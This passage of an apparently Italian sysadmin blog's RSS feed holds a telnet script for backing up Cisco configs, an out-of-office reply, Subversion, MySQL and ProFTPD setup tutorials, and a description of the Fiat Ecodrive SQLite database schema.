&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;echo exit&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt; | telnet sw01.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
      <content:encoded><![CDATA[<p>Vi è mai capitato di dover salvare delle configurazione da apparati cisco senza avere un tftp a disposizione?</p>
<p>In aiuto un piccolo script:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash
</span></span></span><span style="display:flex;"><span>host<span style="color:#f92672">=</span>xx.xx.xx.xx
</span></span><span style="display:flex;"><span>port<span style="color:#f92672">=</span><span style="color:#ae81ff">23</span>
</span></span><span style="display:flex;"><span>login<span style="color:#f92672">=</span>user
</span></span><span style="display:flex;"><span>passwd<span style="color:#f92672">=</span>pass
</span></span><span style="display:flex;"><span>nobreak<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;terminal length 0&#39;</span>
</span></span><span style="display:flex;"><span>cmd<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;show running-config all&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span>echo open <span style="color:#e6db74">${</span>host<span style="color:#e6db74">}</span> <span style="color:#e6db74">${</span>port<span style="color:#e6db74">}</span>
</span></span><span style="display:flex;"><span>sleep <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">${</span>login<span style="color:#e6db74">}</span>
</span></span><span style="display:flex;"><span>sleep <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">${</span>passwd<span style="color:#e6db74">}</span>
</span></span><span style="display:flex;"><span>sleep <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">${</span>nobreak<span style="color:#e6db74">}</span>
</span></span><span style="display:flex;"><span>sleep <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">${</span>cmd<span style="color:#e6db74">}</span>
</span></span><span style="display:flex;"><span>sleep <span style="color:#ae81ff">30</span>
</span></span><span style="display:flex;"><span>echo exit<span style="color:#f92672">)</span> | telnet sw01.txt
</span></span></code></pre></div>]]></content:encoded>
    </item>
    <item>
      <title>Out of Office automatic reply</title>
      <link>https://www.deepreflect.net/2009/04/10/out-of-office-automatic-reply/</link>
      <pubDate>Fri, 10 Apr 2009 16:00:23 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=453</guid> 
      <description>&lt;p&gt;Thank you for your message. I&amp;rsquo;m currently out of office, with limited access to e-mail.&lt;/p&gt;
&lt;p&gt;I will be returning on 22/04&lt;/p&gt;
&lt;p&gt;For very urgent issues, you may reach me at +393939878975&lt;/p&gt;
&lt;p&gt;Leonardo Rizzi&lt;/p&gt;
&lt;p&gt;&amp;ndash;
Leonardo Rizzi - System &amp;amp; Network Architect
HostingLab (Skillnet Srl)
Viale E. Jenner 30
20159 - Milano
Office: +39 025457173
Mobile: +39 3939878975
&lt;a href=&#34;https://www.hostinglab.it&#34;&gt;www.hostinglab.it&lt;/a&gt;&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Thank you for your message. I&rsquo;m currently out of office, with limited access to e-mail.</p>
<p>I will be returning on 22/04</p>
<p>For very urgent issues, you may reach me at +393939878975</p>
<p>Leonardo Rizzi</p>
<p>&ndash;
Leonardo Rizzi - System &amp; Network Architect
HostingLab (Skillnet Srl)
Viale E. Jenner 30
20159 - Milano
Office: +39 025457173
Mobile: +39 3939878975
<a href="https://www.hostinglab.it">www.hostinglab.it</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Configuring the svnserve daemon</title>
      <link>https://www.deepreflect.net/2009/03/29/configuring-the-svnserve-daemon/</link>
      <pubDate>Sun, 29 Mar 2009 12:59:32 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=449</guid> 
      <description>&lt;ul&gt;
&lt;li&gt;Creating the repositories&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you have not created any subversion repositories yet, you can create one with svnadmin:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;# svnadmin create ~/my-repository&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tweaking svnserve.conf&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Open up and edit the svnserve.conf file located in the $HOME/my-repo/conf/ directory.&lt;/p&gt;
&lt;p&gt;Sample $HOME/my-repo/conf/svnserve.conf&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[general]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;# Path to the file containing svn users and passwords.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;password-db = $HOME/my-repo/conf/passwd
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;# Authentication realm of the repository. Two repositories using the
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;# same password-db should have the same realm.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;realm = My-test-repository
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;# Deny all anonymous access
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;anon-access = none
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;# Grant authenticated users read and write privileges
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;auth-access = write
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Setting up password authentication&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Open up and edit the password-db file (ie. $HOME/my-repo/conf/passwd). A sample entry might look like this:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<ul>
<li>Creating the repositories</li>
</ul>
<p>If you have not created any subversion repositories yet, you can create one with svnadmin:</p>
<p><code># svnadmin create ~/my-repository</code></p>
<ul>
<li>Tweaking svnserve.conf</li>
</ul>
<p>Open up and edit the svnserve.conf file located in the $HOME/my-repo/conf/ directory.</p>
<p>Sample $HOME/my-repo/conf/svnserve.conf</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>[general]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span># Path to the file containing svn users and passwords.
</span></span><span style="display:flex;"><span>password-db = $HOME/my-repo/conf/passwd
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span># Authentication realm of the repository. Two repositories using the
</span></span><span style="display:flex;"><span># same password-db should have the same realm.
</span></span><span style="display:flex;"><span>realm = My-test-repository
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span># Deny all anonymous access
</span></span><span style="display:flex;"><span>anon-access = none
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span># Grant authenticated users read and write privileges
</span></span><span style="display:flex;"><span>auth-access = write
</span></span></code></pre></div><ul>
<li>Setting up password authentication</li>
</ul>
<p>Open up and edit the password-db file (ie. $HOME/my-repo/conf/passwd). A sample entry might look like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>[users]
</span></span><span style="display:flex;"><span>user1 = password1
</span></span><span style="display:flex;"><span>user2 = password2
</span></span></code></pre></div><ul>
<li>Starting up the server</li>
</ul>
<p>Run the server by invoking svnserve with the -d switch (daemon mode) and &ndash;listen-host 1.2.3.4 (substituting 1.2.3.4 for your v-host IP address).</p>
<p><code># svnserve -d --listen-host 1.2.3.4 -r $HOME/my-repo</code></p>
<p>To ensure that your svnserve gets started whenever the server is booted, you must add a @reboot line to your crontab. Use the crontab -e command to bring up your crontab in your favorite text editor and add the following line:</p>
<p><code>@reboot svnserve -d --listen-host 1.2.3.4 -r $HOME/my-repo</code></p>
<ul>
<li>Testing the server</li>
</ul>
<p>To test the server&rsquo;s functionality, you can create a working copy of your repository using your shell. The checkout command will create a working copy of the repository:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span># svn co svn://your-domain.com/$HOME/my-repo my-working-dir
</span></span><span style="display:flex;"><span># cd my-working-dir
</span></span><span style="display:flex;"><span># echo &#34;foo bar&#34; test-file
</span></span><span style="display:flex;"><span># svn add test-file
</span></span><span style="display:flex;"><span># svn remove test-file
</span></span><span style="display:flex;"><span># svn commit
</span></span></code></pre></div>]]></content:encoded>
    </item>
    <item>
      <title>Configuring subversion access over HTTP/DAV</title>
      <link>https://www.deepreflect.net/2009/03/29/configuring-subversion-access-over-httpdav/</link>
      <pubDate>Sun, 29 Mar 2009 12:53:15 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=446</guid> 
      <description>&lt;ul&gt;
&lt;li&gt;Creating the repository&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you have not created any Subversion repositories yet, you can create one with svnadmin:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;# svnadmin create ~/my-repository&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Adding mod_dav_svn to your httpd&lt;/p&gt;
&lt;p&gt;&lt;code&gt;# a2enmod mod\_dav\_svn&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;If you plan to use fine-grained permissions, load mod_authz_svn.so as well:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;# a2enmod mod_authz_svn&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Configuring access to repositories&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;HTTP access to your repositories is defined using a &lt;code&gt;&amp;lt;Location&amp;gt;&lt;/code&gt; section in your httpd.conf.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;Location /myproject&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;DAV svn
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SVNPath /home/myself/myrepos/myproject
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;AuthType Basic
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;AuthName &amp;#34;My project&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;AuthUserFile /home/myself/private/myproject.pw
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Order deny,allow
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;LimitExcept GET PROPFIND OPTIONS REPORT&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Require valid-user
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/LimitExcept&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/Location&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This entry would grant read-only access to everyone and write access to every user AuthUserFile. You can use the htpasswd utility to create or update this file, as described here.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<ul>
<li>Creating the repository</li>
</ul>
<p>If you have not created any Subversion repositories yet, you can create one with svnadmin:</p>
<p><code># svnadmin create ~/my-repository</code></p>
<p>Adding mod_dav_svn to your httpd</p>
<p><code># a2enmod mod\_dav\_svn</code></p>
<p>If you plan to use fine-grained permissions, load mod_authz_svn.so as well:</p>
<p><code># a2enmod mod_authz_svn</code></p>
<ul>
<li>Configuring access to repositories</li>
</ul>
<p>HTTP access to your repositories is defined using a <code>&lt;Location&gt;</code> section in your httpd.conf.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>&lt;Location /myproject&gt;
</span></span><span style="display:flex;"><span>DAV svn
</span></span><span style="display:flex;"><span>SVNPath /home/myself/myrepos/myproject
</span></span><span style="display:flex;"><span>AuthType Basic
</span></span><span style="display:flex;"><span>AuthName &#34;My project&#34;
</span></span><span style="display:flex;"><span>AuthUserFile /home/myself/private/myproject.pw
</span></span><span style="display:flex;"><span>Order deny,allow
</span></span><span style="display:flex;"><span>&lt;LimitExcept GET PROPFIND OPTIONS REPORT&gt;
</span></span><span style="display:flex;"><span>Require valid-user
</span></span><span style="display:flex;"><span>&lt;/LimitExcept&gt;
</span></span><span style="display:flex;"><span>&lt;/Location&gt;
</span></span></code></pre></div><p>This entry would grant read-only access to everyone and write access to every user AuthUserFile. You can use the htpasswd utility to create or update this file, as described here.</p>
<p>The next entry grants read/write access to users in the AuthUserFile, and no access to anyone else.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>&lt;Location /myproject&gt;
</span></span><span style="display:flex;"><span>DAV svn
</span></span><span style="display:flex;"><span>SVNPath /home/myself/myrepos/myproject
</span></span><span style="display:flex;"><span>AuthType Basic
</span></span><span style="display:flex;"><span>AuthName &#34;My project&#34;
</span></span><span style="display:flex;"><span>AuthUserFile /home/myself/private/myproject.pw
</span></span><span style="display:flex;"><span>Order deny,allow
</span></span><span style="display:flex;"><span>Require valid-user
</span></span><span style="display:flex;"><span>&lt;/Location&gt;
</span></span></code></pre></div><p>The previous examples all define access on a per-repository basis. It is also possible to grant access from specific users to specific areas of the repository, using fine-grained permissions.</p>
<ul>
<li>Testing the repository</li>
</ul>
<p>Using either a remote Subversion client or the standard svn command from your shell, you can generate your working copy of the repository with the checkout command. If you are accessing public data over a read-only account, you can use a standard http URL:</p>
<p><code># svn co http://your-domain/myproject/</code></p>
<p>If you are accessing private data or using a read/write account, make sure to use an https URL:</p>
<p><code># svn co https://your-domain/myproject/</code></p>
<p>The contents of public repositories are also accessible from a web browser. Keep in mind that search engines will try to index any public data, so you may want to use a robots.txt file.</p>
<ul>
<li>Using fine-grained permissions (optional)</li>
</ul>
<p>You can allow or deny specific users read/write privileges on specific items within a repository using AuthzSVNAccessFile. If you use this directive, make sure the mod_authz_svn module is loaded.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>&lt;Location /repos&gt;
</span></span><span style="display:flex;"><span>DAV svn
</span></span><span style="display:flex;"><span>SVNPath /home/myself/myrepos
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span># Access Control via the authz module.
</span></span><span style="display:flex;"><span>AuthzSVNAccessFile /home/myself/private/myrepos.acl
</span></span><span style="display:flex;"><span># Anonymous access is allowed. Prompt as needed.
</span></span><span style="display:flex;"><span>Satisfy Any
</span></span><span style="display:flex;"><span>Require valid-user
</span></span><span style="display:flex;"><span>AuthType Basic
</span></span><span style="display:flex;"><span>AuthName &#34;My subversion repositories&#34;
</span></span><span style="display:flex;"><span>AuthUserFile /home/myself/private/myrepos.pw
</span></span><span style="display:flex;"><span>&lt;/Location&gt;
</span></span></code></pre></div><p>The file specified in AuthzSVNAccessFile is a plain text file which defines fine-grained access lists. Note that all path names specified are relative to the SVNPath.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>#
</span></span><span style="display:flex;"><span># Allow anonymous read access to everything by default.
</span></span><span style="display:flex;"><span>#
</span></span><span style="display:flex;"><span>[/]
</span></span><span style="display:flex;"><span>\* = r
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>#
</span></span><span style="display:flex;"><span># Grant alice and bob write access to all of /myproject1/.
</span></span><span style="display:flex;"><span>#
</span></span><span style="display:flex;"><span>[/myproject]
</span></span><span style="display:flex;"><span>\* = r
</span></span><span style="display:flex;"><span>leo = rw
</span></span><span style="display:flex;"><span>temp = rw
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>#
</span></span><span style="display:flex;"><span># Grant carol and charlie write access to only /myproject/foo
</span></span><span style="display:flex;"><span>#
</span></span><span style="display:flex;"><span>[/myproject/foo]
</span></span><span style="display:flex;"><span>leo= rw
</span></span><span style="display:flex;"><span>temp = rw
</span></span></code></pre></div>]]></content:encoded>
    </item>
    <item>
      <title>MySQL Change Password</title>
      <link>https://www.deepreflect.net/2009/03/22/mysql-change-password/</link>
      <pubDate>Sun, 22 Mar 2009 23:44:10 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=411</guid> 
      <description>&lt;p&gt;If you have never set a root password for mysql, the server does not require a password at all for connecting as root. To setup root password for first time, use mysqladmin command at shell prompt as follows:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;# mysqladmin -u root password NEWPASSWORD&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;However, if you want to change (or update) a root password, then you need to use following command&lt;/p&gt;
&lt;p&gt;&lt;code&gt;# mysqladmin -u root -p oldpassword newpass&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Enter password:
Change MySQL password for other user
To change a normal user password you need to type (let us assume you would like to change password for leo):&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>If you have never set a root password for mysql, the server does not require a password at all for connecting as root. To setup root password for first time, use mysqladmin command at shell prompt as follows:</p>
<p><code># mysqladmin -u root password NEWPASSWORD</code></p>
<p>However, if you want to change (or update) a root password, then you need to use following command</p>
<p><code># mysqladmin -u root -p oldpassword newpass</code></p>
<p>Enter password:
Change MySQL password for other user
To change a normal user password you need to type (let us assume you would like to change password for leo):</p>
<p><code># mysqladmin -u leo -p oldpassword newpass</code></p>
<p>Changing mysql root user password using mysql sql command
This is another method. mysql stores username and passwords in user table inside mysql database. You can directly update password using the following method to update or change password for user leo:</p>
<ol>
<li>Login to mysql server, type following command at shell prompt:</li>
</ol>
<p><code># mysql -u root -p</code></p>
<ol start="2">
<li>Use mysql database (type command at mysqlprompt):</li>
</ol>
<p><code>mysqluse mysql;</code></p>
<ol start="3">
<li>Change password for user leo:</li>
</ol>
<p><code>mysqlupdate user set password=PASSWORD(&quot;NEWPASSWORD&quot;) where User='leo';</code></p>
<ol start="4">
<li>Reload privileges:</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>mysqlflush privileges;
</span></span><span style="display:flex;"><span>mysqlquit
</span></span></code></pre></div>]]></content:encoded>
    </item>
    <item>
      <title>ProFTP(D) - Ident Lookups</title>
      <link>https://www.deepreflect.net/2009/03/17/proftp-ident-lookups/</link>
      <pubDate>Tue, 17 Mar 2009 22:20:43 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=440</guid> 
      <description>&lt;p&gt;Visto che mi è capitato e mi dimentico sempre, proftpd nell&amp;rsquo;installazione standard (Debian per capirci) è attivo di defaultl l&amp;rsquo;ident del client, quindi colpa del reverse o colpa dei dns mal configurati la connessione risulta parecchio lenta nella fase di autenticazione.&lt;/p&gt;
&lt;p&gt;Per risolvere:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;#/etc/proftpd/proftpd.conf
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;IdentLookups no
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
      <content:encoded><![CDATA[<p>Visto che mi è capitato e mi dimentico sempre, proftpd nell&rsquo;installazione standard (Debian per capirci) è attivo di defaultl l&rsquo;ident del client, quindi colpa del reverse o colpa dei dns mal configurati la connessione risulta parecchio lenta nella fase di autenticazione.</p>
<p>Per risolvere:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>#/etc/proftpd/proftpd.conf
</span></span><span style="display:flex;"><span>IdentLookups no
</span></span></code></pre></div>]]></content:encoded>
    </item>
    <item>
      <title>Fiat Ecodrive - Database</title>
      <link>https://www.deepreflect.net/2009/03/15/fiat-ecodrive-database/</link>
      <pubDate>Sun, 15 Mar 2009 23:32:05 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=436</guid> 
      <description>&lt;p&gt;E così ho comprato una 500, come per le macchine di nuova produzione della Fiat a bordo hanno equipaggiato un sistema che si chiama Blue &amp;amp; Me un computer di bordo basato su Windows Mobile for Automotive, che tuttosommato non è neanche una scelta così pessima quando funziona.&lt;/p&gt;
&lt;p&gt;Questa breve introduzione mi era necessaria per descrivere un software fornito dalla Fiat chiamato Ecodrive installabile sul computer di bordo dell&amp;rsquo;automobile. Nonostante il nome non è nientaltro che un datalogger dei dati di bordo come velocità, numero di giri del motore, temperature ecc. che salva tutto su una drive collegato alla porta usb della macchina.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>E così ho comprato una 500, come per le macchine di nuova produzione della Fiat a bordo hanno equipaggiato un sistema che si chiama Blue &amp; Me un computer di bordo basato su Windows Mobile for Automotive, che tuttosommato non è neanche una scelta così pessima quando funziona.</p>
<p>Questa breve introduzione mi era necessaria per descrivere un software fornito dalla Fiat chiamato Ecodrive installabile sul computer di bordo dell&rsquo;automobile. Nonostante il nome non è nientaltro che un datalogger dei dati di bordo come velocità, numero di giri del motore, temperature ecc. che salva tutto su una drive collegato alla porta usb della macchina.</p>
<p>Di base nasce tutto come un supporto alla guida che aiuti a migliorare lo stile al fine di ridurre i consumi..
Inutile dire che fa abbastanza ridere questa cosa come anche l&rsquo;interfaccia grafica del software che lo rendo un giocattolo.</p>
<p>A questo punto dati + software indecente, nasce spontaneo eliminare una delle due cose e correre ai ripari.</p>
<p>I dati grezzi vengono salvati nel drive usb in /iFiat/ecoDrive/data/
in un file chiamato eddrm.-idnumericoauto-.bin
da lazyman non ho ancora trovato il significato di questo file quindi consiglio di passare allo step successivo che offre i dati già pronti.</p>
<p>Il software Ecodrive fornito è un&rsquo;applicativo scritto in Adobe AIR ad occhio può sembrare una scelta di dubbia convenienza ma sul sito fiat ho avuto una grande sorpresa il download era disponibile anche per Mac OS X.
Ovviamente non sto a descrivere come installare e usare il programma quindi do per scontato che sia già stata fatta la prima importazione dei dati.</p>
<p>I dati sono stoccati sulla macchina locale in quattro file SQLite in una directory simile a questa:</p>
<p>/Users/username/Library/Preferences/com.fiat.convergence.-idnumerico-.1/Local Store/</p>
<p>ecoDrive.db (Questo file contiene di dati varibili del software come costo carburante e simili aggiornati automaticamente da internet)
ecoDriveCommunity.db (Questo file contiene i dati statistici della comunity usati per fare in confronto con i trend locali)
ecoDriveJourney.db (Questo file contiene i dati devi viaggi effettuati dai veicoli)
iFiat.db (Questo file contiene le configu razioni base del programma e veicoli)</p>
<p>I file si possono aprire con qualsiasi cosa supporti SQLite ad esempio io uso SQLite Database Browser per Mac OS X:
A noi serve il seguente file ecoDriveJourney.db in seguito illustro lo schema per tabelle:</p>
<p>Table: AccellerationBandData
Field: JourneyId (integer PRIMARY) id numerico del viaggio generato ad ogni avvio e spegnimento del computer di bordo.
Field: LowerSpeed (integer PRIMARY) valore numerico che esprime la velocità minima in km/h
Field: UpperSpeed (integer PRIMARY) valore numerico che esprime la velocità massima in km/h
Field: Acceleration (FLOAT) valore numerico positivo che esprime l&rsquo;accellerazione in &ldquo;g&rdquo; per essere più chiari <strong>m/s2</strong>
Field: Deceleration (FLOAT) valore numerico negativo che esprime l&rsquo;accellerazione in &ldquo;g&rdquo; per essere più chiari <strong>m/s2</strong>
Table: DatabaseVersion (questa tabella non contiene dati utili)</p>
<p>Table: DrivingCategoryScore
Field: JourneyId (integer PRIMARY) id numerico del viaggio generato ad ogni avvio e spegnimento del computer di bordo.
Field: JourneyCategoryId
Field: Score</p>
<p>Table: GearData
Field: JourneyId (integer PRIMARY) id numerico del viaggio generato ad ogni avvio e spegnimento del computer di bordo.
Field: Gear (integer PRIMARY) id numerico che indica la marcia 0 indica la retro
Field: AverageAcceleration (FLOAT) valore numerico positivo che esprime l&rsquo;accellerazione in &ldquo;g&rdquo; per essere più chiari <strong>m/s2</strong> per la singola marcia
Field: AverageDownshiftRPM (FLOAT) valore numerico che indica gli RPM minimi raggiunti con la marcia inserita
Field: AverageUpshiftRPM (FLOAT) valore numerico che indica gli RPM massimi raggiunti con la marcia inserita
Field: PercentUsage (FLOAT) sono ancora indeciso su questo dato non riesco ad interpretare i decimali
Field: AverageDeceleration (FLOAT) valore numerico negativo che esprime l&rsquo;accellerazione in &ldquo;g&rdquo; per essere più chiari <strong>m/s2</strong></p>
<p>Table: Journey
Field: Id (integer PRIMARY) id numerico del viaggio generato ad ogni avvio e spegnimento del computer di bordo.
Field: UserLocalId identificativo interno dell&rsquo;autista
Field: VehicleLocalId identificativo interno del veicolo
Field: StartTime ora di inizione del viaggio espresso in unixtimestamp
Field: StartDate data di inizione del viaggio espresso in unixtimestamp
Field: EndTime ora fine di fine del viaggio espresso in unixtimestamp
Field: StartOdometer kilometri indicati dal tachimetro al momento di inizio del viaggio
Field: StopOdometer kilometri indicati dal tachimetro all fine del viaggio
Field: EcoIndex paramentro dell&rsquo;ecodrive
Field: EcoIndexServerId paramentro dell&rsquo;ecodrive
Field: EcoIndexServerAlgorithmVersion paramentro dell&rsquo;ecodrive
Field: PricePerUnit costo del carburante
Field: FuelConsumed carburante usato
Field: JourneyType tipo di viaggio urbato/extraurbano viene calcolato in base a velocità massima e distanza, dato non reale
Field: ComputedServerFuelConsumption carburante usato
Field: ConsumptionUnit unità in cui è espresso il consumo
Field: TripDataCount ???</p>
<p>Table: TripAComputerData
Field: JourneyId (integer) id numerico del viaggio generato ad ogni avvio e spegnimento del computer di bordo.
Field: DateTime cambo che indica data e ora in cui viene registrato il record espresso in unixtimestamp
Field: PartialOdometer inidica in kilometri quanto indica il tachimetro parziale
Field: AverageSpeed velocità media espressa in km/h
Field: AverageFuelConsumption: valore che esprime il consumo medio in litri per 100Km
Field: EventType tipo di viaggio urbano/extraurbano
Field: DistanceUnit indica con che unità sono espresse le distanze.</p>
<p>Table: TripData
Field: JourneyId (integer) id numerico del viaggio generato ad ogni avvio e spegnimento del computer di bordo.
Field: DateTime cambo che indica data e ora in cui viene registrato il record espresso in unixtimestamp
Field: EngineSpeed RPM del motore
Field: VehicleSpeed velocità veicolo in Km/h
Field: IstantaneosFuelConsumption valore che esprime il consumo medio in litri per 100Km
Field: AverageFuelConsumption valore che esprime il consumo medio in litri per 100Km</p>
<p>Table: TripStatusData
